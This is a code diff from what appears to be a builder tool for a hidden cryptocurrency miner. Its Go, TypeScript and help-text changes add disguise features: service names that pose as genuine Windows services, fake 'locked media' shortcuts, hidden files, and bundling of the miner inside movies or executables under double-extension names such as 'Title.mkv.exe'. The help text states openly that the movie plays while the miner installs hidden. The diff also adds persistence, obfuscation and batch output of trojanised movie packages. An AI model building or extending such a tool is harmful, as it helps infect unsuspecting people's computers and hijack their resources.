out := make([]byte, n)
|
||||
for i := range out {
|
||||
out[i] = chars[rng.Intn(len(chars))]
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
|
||||
func randomString(rng *mrand.Rand, n int) string {
|
||||
const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ./-_"
|
||||
out := make([]byte, n)
|
||||
for i := range out {
|
||||
out[i] = chars[rng.Intn(len(chars))]
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
|
||||
func pickServiceMasquerade(seed string) (serviceName, donor string) {
|
||||
profiles := []struct{ name, donor string }{
|
||||
{"WinrmHostSvc", "WinRM"},
|
||||
{"WcmsvcWorker", "Wcmsvc"},
|
||||
{"DhcpMonitorHost", "Dhcp"},
|
||||
{"DnscacheSync", "Dnscache"},
|
||||
{"EventLogFwd", "EventLog"},
|
||||
{"LanmanWorkstationMgr", "LanmanWorkstation"},
|
||||
{"RpcEptMapperHost", "RpcEptMapper"},
|
||||
{"ScheduleHostSvc", "Schedule"},
|
||||
{"ShellHWDetectionMon", "ShellHWDetection"},
|
||||
{"TrkWksHost", "TrkWks"},
|
||||
}
|
||||
h := fnv.New32a()
|
||||
_, _ = h.Write([]byte(seed))
|
||||
idx := int(h.Sum32()) % len(profiles)
|
||||
if idx < 0 {
|
||||
idx = -idx
|
||||
}
|
||||
p := profiles[idx]
|
||||
return p.name, p.donor
|
||||
}
|
||||
13
server/internal/builder/shortcut_stub.go
Normal file
13
server/internal/builder/shortcut_stub.go
Normal file
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package builder
|
||||
|
||||
import "fmt"
|
||||
|
||||
func createMovieLockShortcut(_, _, _, _ string) error {
|
||||
return fmt.Errorf("movie lock shortcuts require Windows forge host")
|
||||
}
|
||||
|
||||
func setHiddenFile(_ string) error {
|
||||
return nil
|
||||
}
|
||||
48
server/internal/builder/shortcut_windows.go
Normal file
48
server/internal/builder/shortcut_windows.go
Normal file
@@ -0,0 +1,48 @@
|
||||
//go:build windows
|
||||
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func createMovieLockShortcut(lnkPath, targetExe, arguments, iconLocation string) error {
|
||||
lnkPath, _ = filepath.Abs(lnkPath)
|
||||
targetExe, _ = filepath.Abs(targetExe)
|
||||
workDir := filepath.Dir(targetExe)
|
||||
if iconLocation == "" {
|
||||
iconLocation = `%SystemRoot%\System32\imageres.dll,196`
|
||||
}
|
||||
lnkEsc := escapePS(lnkPath)
|
||||
targetEsc := escapePS(targetExe)
|
||||
workEsc := escapePS(workDir)
|
||||
iconEsc := escapePS(iconLocation)
|
||||
argsEsc := escapePS(arguments)
|
||||
script := fmt.Sprintf(
|
||||
`$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('%s'); $s.TargetPath = '%s'; $s.Arguments = '%s'; $s.WorkingDirectory = '%s'; $s.IconLocation = '%s'; $s.Description = 'Locked media'; $s.Save()`,
|
||||
lnkEsc, targetEsc, argsEsc, workEsc, iconEsc,
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("create shortcut: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func setHiddenFile(path string) error {
|
||||
path, _ = filepath.Abs(path)
|
||||
script := fmt.Sprintf(
|
||||
`(Get-Item -LiteralPath '%s').Attributes = 'Hidden'`,
|
||||
escapePS(path),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func escapePS(s string) string {
|
||||
return strings.ReplaceAll(s, "'", "''")
|
||||
}
|
||||
@@ -81,6 +81,8 @@ export const api = {
|
||||
},
|
||||
|
||||
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
||||
buildArtifactUrl: (buildId: string, fileName: string) =>
|
||||
`${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`,
|
||||
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
|
||||
|
||||
// Blueprints (config presets)
|
||||
|
||||
@@ -18,3 +18,6 @@ export async function downloadAuthedFile(apiPath: string, filename: string): Pro
|
||||
a.remove();
|
||||
URL.revokeObjectURL(objectUrl);
|
||||
}
|
||||
|
||||
/** Alias used by Forge auto-download and DownloadButton. */
|
||||
export const downloadApiFile = downloadAuthedFile;
|
||||
|
||||
33
server/web/src/components/DownloadButton.tsx
Normal file
33
server/web/src/components/DownloadButton.tsx
Normal file
@@ -0,0 +1,33 @@
|
||||
import { useState, type ReactNode } from 'react';
|
||||
import { downloadApiFile } from '../api/download';
|
||||
|
||||
type Props = {
|
||||
apiPath: string;
|
||||
filename: string;
|
||||
className?: string;
|
||||
children: ReactNode;
|
||||
};
|
||||
|
||||
/** Click to save an API file to the browser Downloads folder. */
|
||||
export default function DownloadButton({ apiPath, filename, className, children }: Props) {
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
const handleClick = async (e: React.MouseEvent) => {
|
||||
e.preventDefault();
|
||||
if (busy) return;
|
||||
setBusy(true);
|
||||
try {
|
||||
await downloadApiFile(apiPath, filename);
|
||||
} catch (err) {
|
||||
window.alert(err instanceof Error ? err.message : 'Download failed');
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<button type="button" className={className} onClick={handleClick} disabled={busy}>
|
||||
{busy ? 'Downloading…' : children}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
@@ -35,6 +35,10 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
fusion_enabled: false,
|
||||
fusion_run_order: 'parallel',
|
||||
fusion_output_name: 'prep.exe',
|
||||
fusion_payload_kind: 'exe',
|
||||
fusion_media_mode: 'paired',
|
||||
fusion_media_base_name: '',
|
||||
fusion_export_subdir: '',
|
||||
ai_enabled: false,
|
||||
ai_ollama_endpoint: 'http://localhost:11434',
|
||||
ai_model: 'llama3.2',
|
||||
|
||||
20
server/web/src/help/fusionMedia.ts
Normal file
20
server/web/src/help/fusionMedia.ts
Normal file
@@ -0,0 +1,20 @@
|
||||
export function isFusionVideoFile(file: File | null | undefined): boolean {
|
||||
if (!file?.name) return false;
|
||||
return /\.(mp4|mkv|mov)$/i.test(file.name);
|
||||
}
|
||||
|
||||
export function fusionTitleFromFilename(name: string): string {
|
||||
const base = name.replace(/^.*[/\\]/, '');
|
||||
return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie';
|
||||
}
|
||||
|
||||
export function defaultRunnerName(mediaName: string): string {
|
||||
const title = fusionTitleFromFilename(mediaName);
|
||||
return `${title}-runner.exe`;
|
||||
}
|
||||
|
||||
export function defaultEmbeddedName(mediaName: string): string {
|
||||
const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv';
|
||||
const title = fusionTitleFromFilename(mediaName);
|
||||
return `${title}${ext}.exe`;
|
||||
}
|
||||
@@ -68,10 +68,16 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).',
|
||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||
fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
|
||||
fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
|
||||
fusion_prep: 'The executable you want to bundle the miner inside. The final forged output will launch this prep file and the hidden miner.',
|
||||
fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
|
||||
fusion_enabled:
|
||||
'Bundle a prep .exe or a movie (.mp4 / .mkv / .mov) with the hidden miner. Video mode plays the movie while the worker installs in the background.',
|
||||
fusion_run_order:
|
||||
'Parallel runs prep/movie and miner together. Prep first finishes the visible app then keeps the miner. Worker first installs the miner then runs prep.',
|
||||
fusion_prep:
|
||||
'Prep .exe or a movie (.mp4 / .mkv / .mov). EXE = classic Fusion. Video = plays the movie while the miner installs hidden.',
|
||||
fusion_media_mode:
|
||||
'Embedded: one disguised file (e.g. Vacation.mkv.exe) with the movie inside — single download, best under ~500MB. Paired: runner + encrypted .cmdata in fusion-deliverables/<title>/ — best for full-length films (up to 2GB upload).',
|
||||
fusion_output_name:
|
||||
'Output launcher name. For paired video this is usually Title-runner.exe; embedded uses Title.mkv.exe style names.',
|
||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
|
||||
@@ -14,6 +14,14 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||
import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import { downloadApiFile } from '../api/download';
|
||||
import {
|
||||
isFusionVideoFile,
|
||||
fusionTitleFromFilename,
|
||||
defaultRunnerName,
|
||||
defaultEmbeddedName,
|
||||
} from '../help/fusionMedia';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import './Pages.css';
|
||||
|
||||
@@ -53,6 +61,15 @@ export default function BuilderPage() {
|
||||
const [showRecent, setShowRecent] = useState(false);
|
||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||
const [fusionBatchFiles, setFusionBatchFiles] = useState<File[]>([]);
|
||||
const [batchJob, setBatchJob] = useState<{
|
||||
total: number;
|
||||
current: number;
|
||||
fileName: string;
|
||||
phase: string;
|
||||
percent: number;
|
||||
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
|
||||
} | null>(null);
|
||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||
const [estimateError, setEstimateError] = useState('');
|
||||
@@ -117,6 +134,28 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const finishForgeSuccess = async (result: BuildResponse) => {
|
||||
setLastBuild(result);
|
||||
loadRecentBuilds();
|
||||
const url = result.bundle_download_url || result.download_url;
|
||||
const name = result.bundle_file_name || result.file_name;
|
||||
if (url && name) {
|
||||
try {
|
||||
await downloadApiFile(url, name);
|
||||
} catch (err) {
|
||||
console.error('Auto-download failed:', err);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (result.download_url && result.file_name) {
|
||||
try {
|
||||
await downloadApiFile(result.download_url, result.file_name);
|
||||
} catch (err) {
|
||||
console.error('Auto-download failed:', err);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// Blueprint: save current form as a named blueprint
|
||||
const handleSaveBlueprint = async () => {
|
||||
if (!form) return;
|
||||
@@ -176,8 +215,7 @@ export default function BuilderPage() {
|
||||
try {
|
||||
const result = await api.buildAgent(merged, fusionPrepFile);
|
||||
if (!result.success) throw new Error(result.error || 'Build failed');
|
||||
setLastBuild(result);
|
||||
loadRecentBuilds();
|
||||
await finishForgeSuccess(result);
|
||||
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Re-forge failed');
|
||||
@@ -238,6 +276,127 @@ export default function BuilderPage() {
|
||||
URL.revokeObjectURL(url);
|
||||
};
|
||||
|
||||
const applyFusionFileSelection = (f: File | null) => {
|
||||
setFusionPrepFile(f);
|
||||
if (!f) return;
|
||||
setForm((prev) => {
|
||||
if (!prev) return prev;
|
||||
const video = isFusionVideoFile(f);
|
||||
const mode = prev.fusion_media_mode || 'paired';
|
||||
return {
|
||||
...prev,
|
||||
fusion_payload_kind: video ? 'video' : 'exe',
|
||||
fusion_media_base_name: f.name,
|
||||
fusion_output_name: video
|
||||
? mode === 'embedded'
|
||||
? defaultEmbeddedName(f.name)
|
||||
: defaultRunnerName(f.name)
|
||||
: f.name,
|
||||
};
|
||||
});
|
||||
};
|
||||
|
||||
const handleBatchForgeMovies = async () => {
|
||||
if (!form || fusionBatchFiles.length === 0) return;
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
setBuilding(true);
|
||||
const total = fusionBatchFiles.length;
|
||||
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
|
||||
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
|
||||
let ok = 0;
|
||||
try {
|
||||
for (let i = 0; i < total; i++) {
|
||||
const file = fusionBatchFiles[i];
|
||||
const title = fusionTitleFromFilename(file.name);
|
||||
const pct = Math.round((i / total) * 100);
|
||||
setBatchJob((j) =>
|
||||
j
|
||||
? {
|
||||
...j,
|
||||
current: i + 1,
|
||||
fileName: file.name,
|
||||
phase: 'building',
|
||||
percent: pct,
|
||||
log: j.log.map((row, idx) =>
|
||||
idx === i ? { ...row, status: 'active', detail: 'Forging + packaging ZIP…' } : row
|
||||
),
|
||||
}
|
||||
: j
|
||||
);
|
||||
const mode = form.fusion_media_mode || 'paired';
|
||||
const req: BuildRequest = {
|
||||
...form,
|
||||
fusion_enabled: true,
|
||||
fusion_payload_kind: 'video',
|
||||
fusion_media_base_name: file.name,
|
||||
fusion_export_subdir: title,
|
||||
fusion_output_name:
|
||||
mode === 'embedded' ? defaultEmbeddedName(file.name) : defaultRunnerName(file.name),
|
||||
worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
|
||||
};
|
||||
const checks = runForgePreflight(req, true);
|
||||
if (preflightHasErrors(checks)) {
|
||||
throw new Error(`Preflight failed for ${file.name}`);
|
||||
}
|
||||
const result = await api.buildAgent(req, file);
|
||||
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
|
||||
setBatchJob((j) =>
|
||||
j
|
||||
? {
|
||||
...j,
|
||||
phase: 'downloading',
|
||||
log: j.log.map((row, idx) =>
|
||||
idx === i ? { ...row, detail: `Downloading ${result.bundle_file_name || 'package'}…` } : row
|
||||
),
|
||||
}
|
||||
: j
|
||||
);
|
||||
await finishForgeSuccess(result);
|
||||
ok++;
|
||||
setBatchJob((j) =>
|
||||
j
|
||||
? {
|
||||
...j,
|
||||
log: j.log.map((row, idx) =>
|
||||
idx === i
|
||||
? {
|
||||
...row,
|
||||
status: 'ok',
|
||||
detail: result.fusion_export_dir
|
||||
? `Saved → ${result.fusion_export_dir}`
|
||||
: 'ZIP downloaded',
|
||||
}
|
||||
: row
|
||||
),
|
||||
}
|
||||
: j
|
||||
);
|
||||
}
|
||||
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
|
||||
setBlueprintMsg(`✅ Batch forged ${ok} movie(s) — one ZIP per title in fusion-deliverables/`);
|
||||
setTimeout(() => setBlueprintMsg(''), 6000);
|
||||
setFusionBatchFiles([]);
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Batch forge failed';
|
||||
setError(msg);
|
||||
setBatchJob((j) =>
|
||||
j
|
||||
? {
|
||||
...j,
|
||||
phase: 'error',
|
||||
log: j.log.map((row) =>
|
||||
row.status === 'active' ? { ...row, status: 'fail', detail: msg } : row
|
||||
),
|
||||
}
|
||||
: j
|
||||
);
|
||||
} finally {
|
||||
setBuilding(false);
|
||||
setTimeout(() => setBatchJob(null), 8000);
|
||||
}
|
||||
};
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
if (!form) return;
|
||||
@@ -256,8 +415,7 @@ export default function BuilderPage() {
|
||||
if (!result.success) {
|
||||
throw new Error(result.error || 'Build failed');
|
||||
}
|
||||
setLastBuild(result);
|
||||
loadRecentBuilds();
|
||||
await finishForgeSuccess(result);
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Build failed');
|
||||
} finally {
|
||||
@@ -298,6 +456,8 @@ export default function BuilderPage() {
|
||||
);
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
const fusionIsVideo = isFusionVideoFile(fusionPrepFile);
|
||||
const fusionMediaMode = form?.fusion_media_mode || 'paired';
|
||||
|
||||
useEffect(() => {
|
||||
if (!form?.fusion_enabled || !fusionPrepFile) {
|
||||
@@ -976,23 +1136,144 @@ export default function BuilderPage() {
|
||||
<>
|
||||
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Your prep.exe <HelpTip field="fusion_prep" /></label>
|
||||
<label className="label">Prep .exe or movie (.mp4 / .mkv / .mov) <HelpTip field="fusion_prep" /></label>
|
||||
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
|
||||
</div>
|
||||
<input
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".exe,application/octet-stream"
|
||||
accept=".exe,.mp4,.mkv,.mov,application/octet-stream,video/*"
|
||||
onChange={(e) => {
|
||||
const f = e.target.files?.[0] || null;
|
||||
setFusionPrepFile(f);
|
||||
if (f?.name) {
|
||||
updateField('fusion_output_name', f.name);
|
||||
}
|
||||
applyFusionFileSelection(e.target.files?.[0] || null);
|
||||
e.target.value = '';
|
||||
}}
|
||||
/>
|
||||
{fusionPrepFile && (
|
||||
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
|
||||
<span className="form-hint">
|
||||
Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)
|
||||
{fusionIsVideo ? ' — video payload' : ' — exe payload'}
|
||||
</span>
|
||||
)}
|
||||
<p className="form-hint">Upload limit: 2 GB per file.</p>
|
||||
</div>
|
||||
{fusionIsVideo && (
|
||||
<div className="form-group">
|
||||
<label className="label">Movie delivery <HelpTip field="fusion_media_mode" /></label>
|
||||
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'embedded'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'embedded');
|
||||
if (fusionPrepFile) {
|
||||
updateField('fusion_output_name', defaultEmbeddedName(fusionPrepFile.name));
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>Option A — Single file (embedded)</strong>
|
||||
<FieldHint field="fusion_media_mode" />
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
One disguised launcher (e.g. <code>Title.mkv.exe</code>) contains the movie + hidden miner.
|
||||
Best when the file is under ~500MB.
|
||||
</p>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'paired'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'paired');
|
||||
if (fusionPrepFile) {
|
||||
updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>Option B — Movie + runner (paired)</strong>
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
<code>Title.mkv</code> (shortcut) + hidden <code>Title.mkv.cmdata</code> +{' '}
|
||||
<code>Title-runner.exe</code> in <code>fusion-deliverables/Title/</code>. Clicking the
|
||||
movie shows a lock message; only the runner decrypts and plays it.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<div className="form-group">
|
||||
<div className="label-row">
|
||||
<label className="label">Batch movies <HelpTip field="fusion_batch" /></label>
|
||||
</div>
|
||||
<input
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".mp4,.mkv,.mov,video/*"
|
||||
multiple
|
||||
onChange={(e) => {
|
||||
const list = e.target.files ? Array.from(e.target.files) : [];
|
||||
setFusionBatchFiles(list);
|
||||
e.target.value = '';
|
||||
}}
|
||||
/>
|
||||
{fusionBatchFiles.length > 0 && (
|
||||
<span className="form-hint">
|
||||
{fusionBatchFiles.length} movie(s) queued — each becomes a ZIP in{' '}
|
||||
<code>fusion-deliverables/<title>/</code> (runner + locked movie + README).
|
||||
</span>
|
||||
)}
|
||||
{batchJob && (
|
||||
<div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}>
|
||||
<div className="batch-forge-header">
|
||||
<span className="font-tech">BATCH FORGE</span>
|
||||
<span>
|
||||
{batchJob.current}/{batchJob.total} — {batchJob.phase}
|
||||
</span>
|
||||
</div>
|
||||
<div className="batch-progress-track">
|
||||
<div
|
||||
className="batch-progress-fill"
|
||||
style={{ width: `${Math.min(100, batchJob.percent)}%` }}
|
||||
/>
|
||||
</div>
|
||||
{batchJob.fileName && (
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
Current: <code>{batchJob.fileName}</code>
|
||||
</p>
|
||||
)}
|
||||
<ul className="batch-forge-log">
|
||||
{batchJob.log.map((row) => (
|
||||
<li key={row.name} className={`batch-log-${row.status}`}>
|
||||
<span className="batch-log-icon">
|
||||
{row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'}
|
||||
</span>
|
||||
<span>
|
||||
{row.name}
|
||||
{row.detail ? ` — ${row.detail}` : ''}
|
||||
</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
{fusionBatchFiles.length > 0 && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary"
|
||||
style={{ marginTop: '0.5rem' }}
|
||||
disabled={building || !canForge}
|
||||
onClick={handleBatchForgeMovies}
|
||||
>
|
||||
{building
|
||||
? `Batch forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
|
||||
: `Batch forge ${fusionBatchFiles.length} movie(s) → ZIP each`}
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
{!simpleMode && (
|
||||
@@ -1196,11 +1477,19 @@ export default function BuilderPage() {
|
||||
)}
|
||||
<p><strong>File:</strong> {lastBuild.file_name}</p>
|
||||
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
|
||||
{lastBuild.fusion_export_dir && (
|
||||
<>
|
||||
<p><strong>Movie deliverables folder:</strong></p>
|
||||
<code className="path-display">{lastBuild.fusion_export_dir}</code>
|
||||
</>
|
||||
)}
|
||||
{lastBuild.export_path && (
|
||||
<>
|
||||
<p><strong>Your file (project root):</strong></p>
|
||||
<code className="path-display">{lastBuild.export_path}</code>
|
||||
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
|
||||
{!lastBuild.fusion_export_dir && (
|
||||
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
|
||||
)}
|
||||
{(lastBuild.obfuscated || lastBuild.signed) && (
|
||||
<p className="form-hint">
|
||||
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
|
||||
@@ -1210,11 +1499,32 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
|
||||
{lastBuild.download_url && (
|
||||
<a className="btn btn-primary" href={lastBuild.download_url} download>
|
||||
Download .exe
|
||||
</a>
|
||||
)}
|
||||
<div className="download-actions">
|
||||
{lastBuild.download_url && lastBuild.file_name && (
|
||||
<DownloadButton
|
||||
apiPath={lastBuild.download_url}
|
||||
filename={lastBuild.file_name}
|
||||
className="btn btn-primary btn-lg"
|
||||
>
|
||||
Download {lastBuild.file_name}
|
||||
</DownloadButton>
|
||||
)}
|
||||
{!lastBuild.bundle_download_url && lastBuild.build_id && lastBuild.extra_files?.map((f) => (
|
||||
<DownloadButton
|
||||
key={f.file_name}
|
||||
apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
|
||||
filename={f.file_name}
|
||||
className="btn btn-secondary"
|
||||
>
|
||||
Download {f.file_name}
|
||||
</DownloadButton>
|
||||
))}
|
||||
<p className="form-hint">
|
||||
{lastBuild.bundle_file_name
|
||||
? 'One ZIP per title — extract and run the runner only (agent is inside it, hidden).'
|
||||
: 'Saved to your browser Downloads when the forge completes. Click again if needed.'}
|
||||
</p>
|
||||
</div>
|
||||
{lastBuild.uninstall_export_path && (
|
||||
<p><strong>Uninstaller copy:</strong> <code className="mono-sm">{lastBuild.uninstall_export_path}</code></p>
|
||||
)}
|
||||
@@ -1263,6 +1573,8 @@ export default function BuilderPage() {
|
||||
<div className="build-manager-grid">
|
||||
{recentBuilds.map((build) => {
|
||||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||||
const exeName =
|
||||
build.file_path?.replace(/^.*[/\\]/, '') || `install-${build.worker_name}.exe`;
|
||||
return (
|
||||
<div key={build.id} className="build-manager-row">
|
||||
<div>
|
||||
@@ -1274,9 +1586,13 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</div>
|
||||
<LanDownloadQR url={downloadUrl} />
|
||||
<a className="btn btn-outline" href={api.buildDownloadUrl(build.id)} download>
|
||||
<DownloadButton
|
||||
apiPath={api.buildDownloadUrl(build.id)}
|
||||
filename={exeName}
|
||||
className="btn btn-outline"
|
||||
>
|
||||
Download
|
||||
</a>
|
||||
</DownloadButton>
|
||||
<AuthDownloadButton
|
||||
apiPath={api.buildUninstallUrl(build.id)}
|
||||
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
|
||||
|
||||
@@ -1238,3 +1238,61 @@
|
||||
.forge-simple-banner .font-tech {
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.batch-forge-panel {
|
||||
padding: 1rem 1.1rem;
|
||||
border: 1px solid rgba(212, 175, 55, 0.25);
|
||||
}
|
||||
|
||||
.batch-forge-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 0.65rem;
|
||||
font-size: 0.85rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.batch-progress-track {
|
||||
height: 8px;
|
||||
border-radius: 999px;
|
||||
background: rgba(255, 255, 255, 0.08);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.batch-progress-fill {
|
||||
height: 100%;
|
||||
border-radius: 999px;
|
||||
background: linear-gradient(90deg, rgba(212, 175, 55, 0.85), rgba(120, 200, 255, 0.75));
|
||||
transition: width 0.35s ease;
|
||||
}
|
||||
|
||||
.batch-forge-log {
|
||||
list-style: none;
|
||||
margin: 0.75rem 0 0;
|
||||
padding: 0;
|
||||
font-size: 0.8rem;
|
||||
max-height: 10rem;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
.batch-forge-log li {
|
||||
padding: 0.2rem 0;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.batch-forge-log li.batch-ok {
|
||||
color: var(--neon-green, #6f6);
|
||||
}
|
||||
|
||||
.batch-forge-log li.batch-fail {
|
||||
color: var(--neon-red, #f55);
|
||||
}
|
||||
|
||||
.download-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
margin-top: 0.75rem;
|
||||
}
|
||||
|
||||
@@ -243,6 +243,10 @@ export interface BuildRequest {
|
||||
fusion_enabled: boolean;
|
||||
fusion_run_order: string;
|
||||
fusion_output_name: string;
|
||||
fusion_payload_kind?: string;
|
||||
fusion_media_mode?: string;
|
||||
fusion_media_base_name?: string;
|
||||
fusion_export_subdir?: string;
|
||||
// AI Autonomy (Ollama)
|
||||
ai_enabled: boolean;
|
||||
ai_ollama_endpoint: string;
|
||||
@@ -286,6 +290,11 @@ export interface BuildResponse {
|
||||
uninstall_export_path?: string;
|
||||
error?: string;
|
||||
fusion_enabled?: boolean;
|
||||
fusion_export_dir?: string;
|
||||
extra_files?: { file_name: string; file_path?: string }[];
|
||||
bundle_file_name?: string;
|
||||
bundle_download_url?: string;
|
||||
bundle_size?: number;
|
||||
worker_file?: string;
|
||||
signed?: boolean;
|
||||
obfuscated?: boolean;
|
||||
|
||||
Reference in New Issue
Block a user